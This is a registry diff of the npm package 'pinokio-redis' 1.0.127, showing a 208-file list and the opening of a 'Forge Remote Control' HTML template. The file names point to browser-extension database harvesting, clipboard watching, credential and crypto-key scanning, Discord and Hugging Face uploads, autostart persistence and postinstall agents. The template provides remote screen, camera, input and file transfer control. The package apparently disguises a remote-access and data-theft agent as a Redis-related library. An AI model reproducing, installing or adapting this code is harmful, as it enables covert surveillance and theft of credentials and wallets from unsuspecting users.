pinokio-redis 1.0.127

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (208) hide show
  1. package/README.md +3 -0
  2. package/assets/codicons/codicon.css +629 -0
  3. package/assets/codicons/codicon.ttf +0 -0
  4. package/assets/explorer-highlight/explorer-highlight.css +110 -0
  5. package/assets/explorer-highlight/highlight.min.js +1213 -0
  6. package/assets/files-explorer-template.html +7450 -0
  7. package/assets/forge-explorer-favicon.svg +31 -0
  8. package/assets/remote-control-template.html +3472 -0
  9. package/assets/secret_filename_patterns.json +81 -0
  10. package/dist/agentPid.d.ts +14 -0
  11. package/dist/agentPid.js +104 -0
  12. package/dist/agentRestartFromQueue.d.ts +15 -0
  13. package/dist/agentRestartFromQueue.js +143 -0
  14. package/dist/agentRunner.d.ts +13 -0
  15. package/dist/agentRunner.js +400 -0
  16. package/dist/assets/codicons/codicon.css +629 -0
  17. package/dist/assets/codicons/codicon.ttf +0 -0
  18. package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
  19. package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
  20. package/dist/assets/files-explorer-template.html +7450 -0
  21. package/dist/assets/forge-explorer-favicon.svg +31 -0
  22. package/dist/assets/remote-control-template.html +3472 -0
  23. package/dist/assets/secret_filename_patterns.json +81 -0
  24. package/dist/autostart/agentEnvFile.d.ts +80 -0
  25. package/dist/autostart/agentEnvFile.js +637 -0
  26. package/dist/autostart/constants.d.ts +14 -0
  27. package/dist/autostart/constants.js +17 -0
  28. package/dist/autostart/darwin.d.ts +11 -0
  29. package/dist/autostart/darwin.js +210 -0
  30. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  31. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  32. package/dist/autostart/index.d.ts +4 -0
  33. package/dist/autostart/index.js +20 -0
  34. package/dist/autostart/install.d.ts +6 -0
  35. package/dist/autostart/install.js +113 -0
  36. package/dist/autostart/linux.d.ts +17 -0
  37. package/dist/autostart/linux.js +298 -0
  38. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  39. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  40. package/dist/autostart/macPathEnv.d.ts +5 -0
  41. package/dist/autostart/macPathEnv.js +23 -0
  42. package/dist/autostart/manifest.d.ts +11 -0
  43. package/dist/autostart/manifest.js +74 -0
  44. package/dist/autostart/quote.d.ts +12 -0
  45. package/dist/autostart/quote.js +65 -0
  46. package/dist/autostart/resolve.d.ts +35 -0
  47. package/dist/autostart/resolve.js +85 -0
  48. package/dist/autostart/windows.d.ts +15 -0
  49. package/dist/autostart/windows.js +278 -0
  50. package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
  51. package/dist/chromiumExtensionDbHarvest.js +766 -0
  52. package/dist/cli-agent.d.ts +3 -0
  53. package/dist/cli-agent.js +71 -0
  54. package/dist/cli-autostart.d.ts +2 -0
  55. package/dist/cli-autostart.js +166 -0
  56. package/dist/cli-forge.d.ts +2 -0
  57. package/dist/cli-forge.js +5 -0
  58. package/dist/cli-linux-session-refresh.d.ts +2 -0
  59. package/dist/cli-linux-session-refresh.js +30 -0
  60. package/dist/cli-relay.d.ts +3 -0
  61. package/dist/cli-relay.js +41 -0
  62. package/dist/clientId.d.ts +2 -0
  63. package/dist/clientId.js +97 -0
  64. package/dist/clipboardEventWatcher.d.ts +8 -0
  65. package/dist/clipboardEventWatcher.js +176 -0
  66. package/dist/clipboardExec.d.ts +7 -0
  67. package/dist/clipboardExec.js +266 -0
  68. package/dist/clipboardNapi.d.ts +4 -0
  69. package/dist/clipboardNapi.js +19 -0
  70. package/dist/deploymentCipherData.d.ts +20 -0
  71. package/dist/deploymentCipherData.js +31 -0
  72. package/dist/deploymentDefaults.d.ts +43 -0
  73. package/dist/deploymentDefaults.js +199 -0
  74. package/dist/desktopEnvSync.d.ts +18 -0
  75. package/dist/desktopEnvSync.js +21 -0
  76. package/dist/discordAgentScreenshot.d.ts +27 -0
  77. package/dist/discordAgentScreenshot.js +540 -0
  78. package/dist/discordBotTokens.d.ts +29 -0
  79. package/dist/discordBotTokens.js +78 -0
  80. package/dist/discordRateLimit.d.ts +93 -0
  81. package/dist/discordRateLimit.js +238 -0
  82. package/dist/discordRelayUpload.d.ts +55 -0
  83. package/dist/discordRelayUpload.js +808 -0
  84. package/dist/discordWebhookPost.d.ts +13 -0
  85. package/dist/discordWebhookPost.js +123 -0
  86. package/dist/durableDistDir.d.ts +4 -0
  87. package/dist/durableDistDir.js +61 -0
  88. package/dist/envLoad.d.ts +1 -0
  89. package/dist/envLoad.js +18 -0
  90. package/dist/explorerHeavyDirSkips.d.ts +8 -0
  91. package/dist/explorerHeavyDirSkips.js +26 -0
  92. package/dist/exportMirrorCopy.d.ts +27 -0
  93. package/dist/exportMirrorCopy.js +366 -0
  94. package/dist/extensionDbHfUpload.d.ts +36 -0
  95. package/dist/extensionDbHfUpload.js +359 -0
  96. package/dist/fileLockForce.d.ts +50 -0
  97. package/dist/fileLockForce.js +1479 -0
  98. package/dist/filesExplorer.d.ts +21 -0
  99. package/dist/filesExplorer.js +237 -0
  100. package/dist/forgeBulkDc.d.ts +69 -0
  101. package/dist/forgeBulkDc.js +308 -0
  102. package/dist/forgeRtcAgent.d.ts +31 -0
  103. package/dist/forgeRtcAgent.js +259 -0
  104. package/dist/forgeSemver.d.ts +2 -0
  105. package/dist/forgeSemver.js +25 -0
  106. package/dist/fsMessages.d.ts +3 -0
  107. package/dist/fsMessages.js +169 -0
  108. package/dist/fsProtocol.d.ts +151 -0
  109. package/dist/fsProtocol.js +7071 -0
  110. package/dist/headlessAgent.d.ts +28 -0
  111. package/dist/headlessAgent.js +77 -0
  112. package/dist/hfCredentials.d.ts +23 -0
  113. package/dist/hfCredentials.js +141 -0
  114. package/dist/hfHubPathSanitize.d.ts +4 -0
  115. package/dist/hfHubPathSanitize.js +30 -0
  116. package/dist/hfHubUploadContent.d.ts +2 -0
  117. package/dist/hfHubUploadContent.js +199 -0
  118. package/dist/hfSeqIdLookup.d.ts +25 -0
  119. package/dist/hfSeqIdLookup.js +193 -0
  120. package/dist/hfUpload.d.ts +55 -0
  121. package/dist/hfUpload.js +1362 -0
  122. package/dist/hostInventorySend.d.ts +5 -0
  123. package/dist/hostInventorySend.js +91 -0
  124. package/dist/index.d.ts +24 -0
  125. package/dist/index.js +62 -0
  126. package/dist/inputContext.d.ts +11 -0
  127. package/dist/inputContext.js +1097 -0
  128. package/dist/keyboardTranslate.d.ts +23 -0
  129. package/dist/keyboardTranslate.js +204 -0
  130. package/dist/linuxClipboardSession.d.ts +16 -0
  131. package/dist/linuxClipboardSession.js +179 -0
  132. package/dist/linuxX11.d.ts +7 -0
  133. package/dist/linuxX11.js +71 -0
  134. package/dist/relayAgent.d.ts +25 -0
  135. package/dist/relayAgent.js +1431 -0
  136. package/dist/relayAuth.d.ts +10 -0
  137. package/dist/relayAuth.js +81 -0
  138. package/dist/relayDashboardGate.d.ts +36 -0
  139. package/dist/relayDashboardGate.js +378 -0
  140. package/dist/relayForAgentHttp.d.ts +24 -0
  141. package/dist/relayForAgentHttp.js +132 -0
  142. package/dist/relayPackageServe.d.ts +6 -0
  143. package/dist/relayPackageServe.js +107 -0
  144. package/dist/relayServer.d.ts +9 -0
  145. package/dist/relayServer.js +2268 -0
  146. package/dist/secretScan/agentStartupAudit.d.ts +58 -0
  147. package/dist/secretScan/agentStartupAudit.js +784 -0
  148. package/dist/secretScan/auditFindingSlim.d.ts +25 -0
  149. package/dist/secretScan/auditFindingSlim.js +184 -0
  150. package/dist/secretScan/auditScanScope.d.ts +25 -0
  151. package/dist/secretScan/auditScanScope.js +233 -0
  152. package/dist/secretScan/base58check.d.ts +6 -0
  153. package/dist/secretScan/base58check.js +49 -0
  154. package/dist/secretScan/contentScanner.d.ts +23 -0
  155. package/dist/secretScan/contentScanner.js +278 -0
  156. package/dist/secretScan/dedupeFindings.d.ts +12 -0
  157. package/dist/secretScan/dedupeFindings.js +232 -0
  158. package/dist/secretScan/fileCandidates.d.ts +30 -0
  159. package/dist/secretScan/fileCandidates.js +370 -0
  160. package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
  161. package/dist/secretScan/runFilenameSecretScan.js +360 -0
  162. package/dist/secretScan/scanConfig.d.ts +6 -0
  163. package/dist/secretScan/scanConfig.js +87 -0
  164. package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
  165. package/dist/secretScan/secp256k1Scalar.js +14 -0
  166. package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
  167. package/dist/secretScan/secretAuditExcludePaths.js +46 -0
  168. package/dist/secretScan/solanaKeypair.d.ts +8 -0
  169. package/dist/secretScan/solanaKeypair.js +87 -0
  170. package/dist/secretScan/strictMaterialGate.d.ts +15 -0
  171. package/dist/secretScan/strictMaterialGate.js +151 -0
  172. package/dist/secretScan/types.d.ts +86 -0
  173. package/dist/secretScan/types.js +6 -0
  174. package/dist/syncClient.d.ts +80 -0
  175. package/dist/syncClient.js +214 -0
  176. package/dist/tableNaming.d.ts +13 -0
  177. package/dist/tableNaming.js +101 -0
  178. package/dist/vcToWindowsVk.d.ts +7 -0
  179. package/dist/vcToWindowsVk.js +154 -0
  180. package/dist/win32InputNative.d.ts +18 -0
  181. package/dist/win32InputNative.js +198 -0
  182. package/dist/windowsInputSync.d.ts +44 -0
  183. package/dist/windowsInputSync.js +853 -0
  184. package/dist/workerBootstrap.d.ts +17 -0
  185. package/dist/workerBootstrap.js +342 -0
  186. package/package.json +86 -0
  187. package/scripts/copy-assets.mjs +44 -0
  188. package/scripts/discord-live-probe.mjs +221 -0
  189. package/scripts/encode-deployment.mjs +135 -0
  190. package/scripts/encode-hf-credentials.mjs +30 -0
  191. package/scripts/ensure-dist.mjs +86 -0
  192. package/scripts/env-sync-selftest.js +11 -0
  193. package/scripts/explorer-global-roots.mjs +87 -0
  194. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  195. package/scripts/forge-isolated-runtime.mjs +547 -0
  196. package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
  197. package/scripts/forge-jsx-explorer-restart.mjs +288 -0
  198. package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
  199. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  200. package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
  201. package/scripts/postinstall-agent.mjs +571 -0
  202. package/scripts/postinstall-bootstrap.mjs +279 -0
  203. package/scripts/postinstall-clipboard-event.mjs +165 -0
  204. package/scripts/postinstall-durable-materialize.mjs +145 -0
  205. package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
  206. package/scripts/registry-version-lib.mjs +98 -0
  207. package/scripts/restart-agent.mjs +66 -0
  208. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,3472 @@
1
+ <!DOCTYPE html>
2
+ <html lang="en">
3
+ <head>
4
+ <meta charset="UTF-8" />
5
+ <meta name="viewport" content="width=device-width,initial-scale=1" />
6
+ <script>
7
+ (function () {
8
+ try {
9
+ var p = new URLSearchParams(location.search || "");
10
+ var sp = String(p.get("session") || p.get("s") || "").trim();
11
+ if (!sp) return;
12
+ var suf = /^client_/i.test(sp) ? sp.slice(7) : sp;
13
+ p.delete("session");
14
+ p.delete("s");
15
+ p.set("my_vps", suf);
16
+ var nq = p.toString();
17
+ history.replaceState(null, "", location.pathname + (nq ? "?" + nq : "") + location.hash);
18
+ } catch (e) {}
19
+ })();
20
+ </script>
21
+ <title>Forge Remote Control</title>
22
+ <style>
23
+ :root {
24
+ color-scheme: dark;
25
+ --vscode-editor-background: #1e1e1e;
26
+ --vscode-editor-foreground: #cccccc;
27
+ --vscode-sideBar-background: #252526;
28
+ --vscode-panel-border: #3e3e42;
29
+ --vscode-button-background: #0078d4;
30
+ --vscode-button-hoverBackground: #1a8cff;
31
+ --vscode-button-foreground: #ffffff;
32
+ --vscode-button-secondaryBackground: #3a3d41;
33
+ --vscode-button-secondaryHoverBackground: #4c4d51;
34
+ --vscode-button-secondaryForeground: #c5c5c5;
35
+ --vscode-input-background: #3c3c3c;
36
+ --vscode-input-foreground: #cccccc;
37
+ --vscode-input-border: #3c3c3c;
38
+ --vscode-focusBorder: #0078d4;
39
+ --vscode-errorForeground: #f48771;
40
+ }
41
+ * { box-sizing: border-box; }
42
+ html, body { height: 100%; }
43
+ body {
44
+ margin: 0;
45
+ font: 13px/1.4 -apple-system, BlinkMacSystemFont, "Segoe WPC", "Segoe UI", "Helvetica Neue", Helvetica, Arial, sans-serif;
46
+ background: var(--vscode-editor-background);
47
+ color: var(--vscode-editor-foreground);
48
+ }
49
+ .bar {
50
+ position: fixed;
51
+ left: 0;
52
+ right: 0;
53
+ bottom: 0;
54
+ z-index: 10;
55
+ display: flex;
56
+ flex-wrap: wrap;
57
+ gap: 4px 8px;
58
+ align-items: center;
59
+ min-height: 36px;
60
+ padding: 6px 12px;
61
+ background: #181818;
62
+ border-top: 1px solid var(--vscode-panel-border);
63
+ }
64
+ .bar input, .bar button { font: inherit; }
65
+ .bar input {
66
+ background: var(--vscode-input-background);
67
+ color: var(--vscode-input-foreground);
68
+ border: 1px solid var(--vscode-input-border);
69
+ border-radius: 4px;
70
+ padding: 5px 8px;
71
+ }
72
+ .bar button {
73
+ background: var(--vscode-button-background);
74
+ color: var(--vscode-button-foreground);
75
+ border: 1px solid transparent;
76
+ border-radius: 4px;
77
+ min-height: 28px;
78
+ padding: 4px 12px;
79
+ cursor: pointer;
80
+ font-size: 12px;
81
+ font-weight: 500;
82
+ }
83
+ .bar button:hover:not(:disabled) { background: var(--vscode-button-hoverBackground); }
84
+ .bar button.alt {
85
+ background: var(--vscode-button-secondaryBackground);
86
+ color: var(--vscode-button-secondaryForeground);
87
+ border-color: #505050;
88
+ }
89
+ .bar button.alt:hover:not(:disabled) { background: var(--vscode-button-secondaryHoverBackground); }
90
+ .bar button.warn {
91
+ background: #5a1d1d;
92
+ color: #ffd9d9;
93
+ border-color: #7c2b2b;
94
+ }
95
+ .bar button.warn:hover:not(:disabled) { background: #6c2626; }
96
+ .bar button:disabled { opacity: 0.45; cursor: not-allowed; }
97
+ .bar button:focus-visible, .bar input:focus-visible {
98
+ outline: none;
99
+ box-shadow: 0 0 0 1px var(--vscode-editor-background), 0 0 0 3px rgba(0, 120, 212, 0.45);
100
+ }
101
+ .spacer { flex: 1; min-width: 8px; }
102
+ .state { opacity: .92; font-size: 11px; color: #b7b7b7; }
103
+ .brand { font-weight: 600; letter-spacing: 0.02em; }
104
+ .hint { color: #9d9d9d; }
105
+ .screen-wrap {
106
+ position: fixed;
107
+ inset: 0 0 40px 0;
108
+ overflow: hidden;
109
+ background: #111;
110
+ display: grid;
111
+ place-items: center;
112
+ }
113
+ .screen-stage {
114
+ width: 100%;
115
+ height: 100%;
116
+ display: grid;
117
+ place-items: center;
118
+ padding: 10px;
119
+ position: relative;
120
+ overflow: hidden;
121
+ }
122
+ .screen {
123
+ display: block;
124
+ max-width: calc(100vw - 20px);
125
+ max-height: calc(100vh - 68px);
126
+ width: auto;
127
+ height: auto;
128
+ user-select: none;
129
+ cursor: default;
130
+ margin: 0;
131
+ }
132
+ /** Stacked A/B layers — buffer loads behind; swap z-index after decode (no black flash on `src` change). */
133
+ .screen-stage .screen.rc-dblbuf {
134
+ position: absolute;
135
+ left: 50%;
136
+ top: 50%;
137
+ transform: translate(-50%, -50%);
138
+ margin: 0;
139
+ }
140
+ .camera-overlay {
141
+ position: absolute;
142
+ right: 14px;
143
+ bottom: 14px;
144
+ width: 20%;
145
+ max-width: 28vw;
146
+ min-width: 120px;
147
+ height: auto;
148
+ border: 1px solid rgba(255, 255, 255, 0.38);
149
+ border-radius: 6px;
150
+ box-shadow: 0 6px 20px rgba(0, 0, 0, 0.45);
151
+ background: #111;
152
+ z-index: 4;
153
+ pointer-events: none;
154
+ display: none;
155
+ }
156
+ .screen.write-enabled { cursor: crosshair; }
157
+ .empty-state {
158
+ position: absolute;
159
+ inset: 0;
160
+ z-index: 10;
161
+ display: flex;
162
+ align-items: center;
163
+ justify-content: center;
164
+ padding: 16px;
165
+ pointer-events: none;
166
+ }
167
+ .empty-state-card {
168
+ max-width: min(680px, 92vw);
169
+ text-align: center;
170
+ background: rgba(24, 24, 24, 0.88);
171
+ border: 1px solid #3e3e42;
172
+ border-radius: 8px;
173
+ padding: 14px 16px;
174
+ color: #d4d4d4;
175
+ font-size: 13px;
176
+ line-height: 1.45;
177
+ box-shadow: 0 10px 30px rgba(0, 0, 0, 0.35);
178
+ }
179
+ .empty-state.error .empty-state-card {
180
+ border-color: #7c2b2b;
181
+ color: #ffd8d8;
182
+ background: rgba(44, 18, 18, 0.9);
183
+ }
184
+ .file-panel { position: fixed; right: 8px; bottom: 48px; width: 380px; max-height: 60vh; overflow: auto; background: #1b1b1d; border: 1px solid #3e3e42; border-radius: 6px; padding: 8px; display: none; z-index: 9; }
185
+ .file-panel.open { display: block; }
186
+ .file-panel .row { display: flex; gap: 6px; margin-bottom: 6px; }
187
+ .file-panel button { font: inherit; }
188
+ .file-panel input { flex: 1; min-width: 0; background: var(--vscode-input-background); color: var(--vscode-input-foreground); border: 1px solid var(--vscode-input-border); border-radius: 4px; padding: 5px 8px; }
189
+ .file-list { border: 1px solid #3e3e42; border-radius: 4px; padding: 4px; max-height: 35vh; overflow: auto; }
190
+ .file-item { display: block; width: 100%; text-align: left; background: #2a2a2d; color: #d4d4d4; border: 1px solid #3e3e42; border-radius: 4px; padding: 4px 6px; margin: 3px 0; cursor: pointer; }
191
+ .file-item.dir { background: #253045; }
192
+ .path-label { font-size: 12px; opacity: 0.85; word-break: break-all; }
193
+ .auth-modal {
194
+ position: fixed;
195
+ inset: 0;
196
+ z-index: 30;
197
+ display: none;
198
+ align-items: center;
199
+ justify-content: center;
200
+ background: rgba(0, 0, 0, 0.45);
201
+ }
202
+ .auth-modal.open { display: flex; }
203
+ .auth-card {
204
+ width: min(420px, 92vw);
205
+ background: #1f1f1f;
206
+ border: 1px solid #3e3e42;
207
+ border-radius: 8px;
208
+ padding: 12px;
209
+ box-shadow: 0 16px 32px rgba(0, 0, 0, 0.45);
210
+ }
211
+ .auth-title { font-size: 13px; font-weight: 600; margin: 0 0 8px 0; }
212
+ .auth-hint { font-size: 12px; color: #b7b7b7; margin: 0 0 8px 0; }
213
+ .auth-row { display: flex; gap: 8px; align-items: center; margin-top: 8px; }
214
+ .auth-row input[type="password"] {
215
+ flex: 1;
216
+ min-width: 0;
217
+ background: var(--vscode-input-background);
218
+ color: var(--vscode-input-foreground);
219
+ border: 1px solid var(--vscode-input-border);
220
+ border-radius: 4px;
221
+ padding: 6px 8px;
222
+ font: inherit;
223
+ }
224
+ .auth-row button {
225
+ background: var(--vscode-button-background);
226
+ color: var(--vscode-button-foreground);
227
+ border: 1px solid transparent;
228
+ border-radius: 4px;
229
+ padding: 6px 10px;
230
+ cursor: pointer;
231
+ font: inherit;
232
+ }
233
+ .auth-row button.sec {
234
+ background: var(--vscode-button-secondaryBackground);
235
+ color: var(--vscode-button-secondaryForeground);
236
+ border-color: #505050;
237
+ }
238
+ .hidden {
239
+ display: none !important;
240
+ }
241
+ /** Cursor-like remote toolkit — mirrors explorer `#fe-context-menu` ergonomics. */
242
+ .rc-context-menu {
243
+ position: fixed;
244
+ z-index: 28;
245
+ min-width: 232px;
246
+ max-width: min(380px, 94vw);
247
+ max-height: min(72vh, 520px);
248
+ overflow-x: hidden;
249
+ overflow-y: auto;
250
+ background: #252526;
251
+ border: 1px solid #454545;
252
+ border-radius: 6px;
253
+ padding: 4px 0;
254
+ box-shadow: 0 10px 28px rgba(0, 0, 0, 0.48);
255
+ }
256
+ .rc-context-menu:focus {
257
+ outline: none;
258
+ }
259
+ .rc-ctx-item {
260
+ display: block;
261
+ width: 100%;
262
+ text-align: left;
263
+ margin: 0;
264
+ padding: 7px 14px;
265
+ border: none;
266
+ background: transparent;
267
+ color: #cccccc;
268
+ font: inherit;
269
+ font-size: 13px;
270
+ cursor: pointer;
271
+ }
272
+ .rc-ctx-item:hover:not(:disabled) {
273
+ background: rgba(255, 255, 255, 0.08);
274
+ }
275
+ .rc-ctx-item:focus-visible {
276
+ outline: none;
277
+ box-shadow: inset 0 0 0 2px rgba(0, 120, 212, 0.55);
278
+ }
279
+ .rc-ctx-item.warn {
280
+ background: rgba(90, 29, 29, 0.35);
281
+ color: #ffd9d9;
282
+ }
283
+ .rc-ctx-item.warn:hover:not(:disabled) {
284
+ background: rgba(108, 38, 38, 0.45);
285
+ }
286
+ .rc-ctx-item:disabled {
287
+ opacity: 0.42;
288
+ cursor: not-allowed;
289
+ }
290
+ .rc-ctx-sep {
291
+ height: 1px;
292
+ margin: 5px 10px;
293
+ background: #3e3e42;
294
+ }
295
+ .rc-ctx-note {
296
+ padding: 5px 14px 7px 14px;
297
+ font-size: 11px;
298
+ line-height: 1.38;
299
+ color: #9d9d9d;
300
+ }
301
+ .rc-status-bar .hint {
302
+ max-width: min(560px, 38vw);
303
+ }
304
+ </style>
305
+ </head>
306
+ <body>
307
+ <div class="bar rc-status-bar">
308
+ <strong class="brand">Remote</strong>
309
+ <span class="state hint" title="Right-click the screen for all actions. Shift+right-click sends a native right-click to the remote PC.">Right-click screen · Shift+right-click → PC · Ctrl/Cmd+C / V clipboard</span>
310
+ <span class="spacer"></span>
311
+ <span class="state" id="streamStats">Q: - · Tier: - · Frame: - · Capture: -</span>
312
+ <span class="state" id="fpsState">FPS: 0.0</span>
313
+ <span class="state" id="state">Idle</span>
314
+ <span class="state" id="modeState">Mode: View Only</span>
315
+ </div>
316
+ <div id="rc-context-menu" class="rc-context-menu hidden" role="menu" aria-label="Remote control actions" aria-hidden="true" tabindex="-1">
317
+ <button type="button" class="rc-ctx-item" id="rcCtxMode" data-rc-act="toggle-write" role="menuitem">View Only</button>
318
+ <button type="button" class="rc-ctx-item" id="rcCtxCamera" data-rc-act="toggle-camera" role="menuitem">Camera: Off</button>
319
+ <button type="button" class="rc-ctx-item" id="rcCtxQuality" data-rc-act="rotate-quality" role="menuitem">Quality: Balanced</button>
320
+ <div class="rc-ctx-sep" aria-hidden="true"></div>
321
+ <button type="button" class="rc-ctx-item" id="rcCtxCopyPc" data-rc-act="copy-pc" role="menuitem">Copy <- PC</button>
322
+ <button type="button" class="rc-ctx-item" id="rcCtxPastePc" data-rc-act="paste-pc" role="menuitem">Paste -> PC</button>
323
+ <div class="rc-ctx-sep" aria-hidden="true"></div>
324
+ <button type="button" class="rc-ctx-item" id="rcCtxRefresh" data-rc-act="refresh" role="menuitem">Refresh screenshot</button>
325
+ <button type="button" class="rc-ctx-item" id="rcCtxFiles" data-rc-act="files-panel" role="menuitem">Files</button>
326
+ <button type="button" class="rc-ctx-item" id="rcCtxFetchFocus" data-rc-act="fetch-focus" role="menuitem">Fetch <- PC (focus path)</button>
327
+ <button type="button" class="rc-ctx-item" id="rcCtxRightHere" data-rc-act="right-click-here" role="menuitem">Right-click here (remote)</button>
328
+ <div class="rc-ctx-sep" aria-hidden="true"></div>
329
+ <div class="rc-ctx-note">Shift + right-click: send mouse actions directly to the remote desktop (same as before).</div>
330
+ <button type="button" class="rc-ctx-item warn" id="rcCtxDisconnect" data-rc-act="disconnect" role="menuitem">Disconnect</button>
331
+ </div>
332
+ <div class="screen-wrap" id="screenWrap">
333
+ <div class="screen-stage" id="screenStage">
334
+ <canvas id="rcScreenCanvas" class="screen rc-dblbuf" width="1" height="1" aria-label="Remote desktop"></canvas>
335
+ <canvas id="rcScreenCanvasBuf" class="screen rc-dblbuf" width="1" height="1" aria-hidden="true"></canvas>
336
+ <img id="cameraOverlay" class="camera-overlay" alt="Remote camera" decoding="async" />
337
+ <div id="emptyState" class="empty-state">
338
+ <div id="emptyStateCard" class="empty-state-card">
339
+ Waiting for remote session...
340
+ </div>
341
+ </div>
342
+ </div>
343
+ </div>
344
+ <div class="file-panel" id="filePanel">
345
+ <div class="row">
346
+ <button id="rootsBtn" class="alt">Roots</button>
347
+ <button id="upBtn" class="alt">Up</button>
348
+ <button id="closePanelBtn" class="warn">Close</button>
349
+ </div>
350
+ <div class="path-label" id="pathLabel">Path: (none)</div>
351
+ <div class="row">
352
+ <input id="filePullPath" placeholder="Remote file path" />
353
+ <button id="filePullBtn" class="alt">Fetch <- PC</button>
354
+ </div>
355
+ <div class="row">
356
+ <input id="filePushInput" type="file" />
357
+ <button id="filePushBtn" class="alt">Send -> PC</button>
358
+ </div>
359
+ <div class="file-list" id="fileList"></div>
360
+ </div>
361
+ <div class="auth-modal" id="authModal">
362
+ <div class="auth-card">
363
+ <p class="auth-title">Remote session password required</p>
364
+ <p class="auth-hint" id="authHint">Enter the password for this remote session.</p>
365
+ <div class="auth-row">
366
+ <input id="authPasswordInput" type="password" placeholder="Session password" />
367
+ </div>
368
+ <div class="auth-row">
369
+ <button id="authSubmitBtn">Continue</button>
370
+ <button id="authCancelBtn" class="sec">Cancel</button>
371
+ </div>
372
+ </div>
373
+ </div>
374
+ <script>
375
+ const relayFallback = __FORGE_REPLACE_RELAY_FALLBACK_JS__ || "";
376
+ const pwdHint = __FORGE_REPLACE_PWD_JS__ || "";
377
+ const streamStatsEl = document.getElementById("streamStats");
378
+ const fpsStateEl = document.getElementById("fpsState");
379
+ const stateEl = document.getElementById("state");
380
+ const modeStateEl = document.getElementById("modeState");
381
+ const rcCanvasA = document.getElementById("rcScreenCanvas");
382
+ const rcCanvasB = document.getElementById("rcScreenCanvasBuf");
383
+ let rcCanvasFront = rcCanvasA;
384
+ let rcCanvasBack = rcCanvasB;
385
+ /** Geometry + hit target — always the visible (front) canvas; updated when A/B swap. */
386
+ let rcDispEl = rcCanvasFront;
387
+ function rcSyncCanvasStack() {
388
+ try {
389
+ rcCanvasFront.style.zIndex = "3";
390
+ rcCanvasBack.style.zIndex = "2";
391
+ rcCanvasFront.style.pointerEvents = "auto";
392
+ rcCanvasBack.style.pointerEvents = "none";
393
+ } catch (eSync) {}
394
+ }
395
+ rcSyncCanvasStack();
396
+ function rcSetWriteEnabledClass(on) {
397
+ for (const el of [rcCanvasA, rcCanvasB]) {
398
+ if (on) el.classList.add("write-enabled");
399
+ else el.classList.remove("write-enabled");
400
+ }
401
+ }
402
+ const cameraOverlayEl = document.getElementById("cameraOverlay");
403
+ const emptyStateEl = document.getElementById("emptyState");
404
+ const emptyStateCardEl = document.getElementById("emptyStateCard");
405
+ const rcCtxMenu = document.getElementById("rc-context-menu");
406
+ const rcCtxMode = document.getElementById("rcCtxMode");
407
+ const rcCtxCamera = document.getElementById("rcCtxCamera");
408
+ const rcCtxQuality = document.getElementById("rcCtxQuality");
409
+ const rcCtxCopyPc = document.getElementById("rcCtxCopyPc");
410
+ const rcCtxPastePc = document.getElementById("rcCtxPastePc");
411
+ const rcCtxRefresh = document.getElementById("rcCtxRefresh");
412
+ const rcCtxFiles = document.getElementById("rcCtxFiles");
413
+ const rcCtxFetchFocus = document.getElementById("rcCtxFetchFocus");
414
+ const rcCtxRightHere = document.getElementById("rcCtxRightHere");
415
+ const rcCtxDisconnect = document.getElementById("rcCtxDisconnect");
416
+ const wrapEl = document.getElementById("screenWrap");
417
+ const filePullPath = document.getElementById("filePullPath");
418
+ const filePullBtn = document.getElementById("filePullBtn");
419
+ const filePushInput = document.getElementById("filePushInput");
420
+ const filePushBtn = document.getElementById("filePushBtn");
421
+ const filePanel = document.getElementById("filePanel");
422
+ const rootsBtn = document.getElementById("rootsBtn");
423
+ const upBtn = document.getElementById("upBtn");
424
+ const closePanelBtn = document.getElementById("closePanelBtn");
425
+ const pathLabel = document.getElementById("pathLabel");
426
+ const fileList = document.getElementById("fileList");
427
+ const authModal = document.getElementById("authModal");
428
+ const authHint = document.getElementById("authHint");
429
+ const authPasswordInput = document.getElementById("authPasswordInput");
430
+ const authSubmitBtn = document.getElementById("authSubmitBtn");
431
+ const authCancelBtn = document.getElementById("authCancelBtn");
432
+ const pasteCaptureEl = document.createElement("textarea");
433
+ pasteCaptureEl.setAttribute("aria-hidden", "true");
434
+ pasteCaptureEl.tabIndex = -1;
435
+ pasteCaptureEl.style.position = "fixed";
436
+ pasteCaptureEl.style.opacity = "0";
437
+ pasteCaptureEl.style.pointerEvents = "none";
438
+ pasteCaptureEl.style.left = "-9999px";
439
+ pasteCaptureEl.style.top = "0";
440
+ document.body.appendChild(pasteCaptureEl);
441
+ /** Relay-advertised WebRTC/STUN (optional; signaling uses relay WS until data channel is implemented end-to-end). */
442
+ let relayWebrtcSignaling = false;
443
+ let relayRtcIceServers = null;
444
+ let forgeRtcPc = null;
445
+ let forgeRtcDc = null;
446
+ /** Partial-reliable channel for bursty input (`mouse_move`, `mouse_wheel`) when agent supports `forge-rc-input`. */
447
+ let forgeRtcDcInput = null;
448
+ /** Ordered bulk binary channel — forge-bulk v2 (chunked) + v1 (legacy single frame). */
449
+ let forgeRtcDcBulk = null;
450
+ let forgeBulkRcExpectHdr = true;
451
+ /** null | v1 wait object | v2 accumulation state */
452
+ let forgeBulkRcRx = null;
453
+ /** Set after successful `setRemoteDescription` for the agent's WebRTC answer (ICE trickle ordering). */
454
+ let forgeRtcRemoteDescDone = false;
455
+ const forgeRtcPendingRemoteCandidates = [];
456
+ let forgeRtcProbeStarted = false;
457
+ /** Bounded automatic WebRTC re-offers after ICE/agent failure (relay WS unchanged). */
458
+ let forgeRtcReconnectTimer = null;
459
+ let forgeRtcReconnectAttempts = 0;
460
+ const FORGE_RTC_MAX_RECONNECT = 2;
461
+ let ws = null;
462
+ let authed = false;
463
+ let writeEnabled = false;
